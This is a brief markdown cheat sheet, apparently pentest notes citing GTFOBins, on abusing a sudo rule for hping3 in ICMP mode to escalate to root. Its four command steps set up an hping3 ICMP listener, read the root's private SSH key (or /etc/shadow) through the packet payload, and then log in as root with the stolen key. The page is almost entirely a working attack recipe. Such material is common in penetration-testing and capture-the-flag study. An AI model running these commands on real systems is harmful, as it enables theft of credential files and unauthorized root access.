# Hping3 Privilege Escalation

Link: <https://gtfobins.github.io/gtfobins/hping3/>

## Sudo

```
User USER may run the following commands on HOSTNAME:
  (root) /usr/sbin/hping3 --icmp *
```

### 1) If you have credentials from the user, create a second session via SSH.

```
ssh USER@IP
```

### 2) On your newly created SSH session, run this to listen for ICMP packets

```
sudo /usr/sbin/hping3 --icmp 127.0.0.1 --listen signature --safe
```

### 3) On your first session, run this to dump the root's private SSH key (or any other sensitive file like /etc/shadow for example)

```
sudo /usr/sbin/hping3 --icmp 127.0.0.1 -d 100 --sign signature --file /root/.ssh/id_rsa
```

### 4) Copy the key on your machine, then SSH as root

```
chmod 600 id_rsa
ssh root@IP -i id_rsa
```
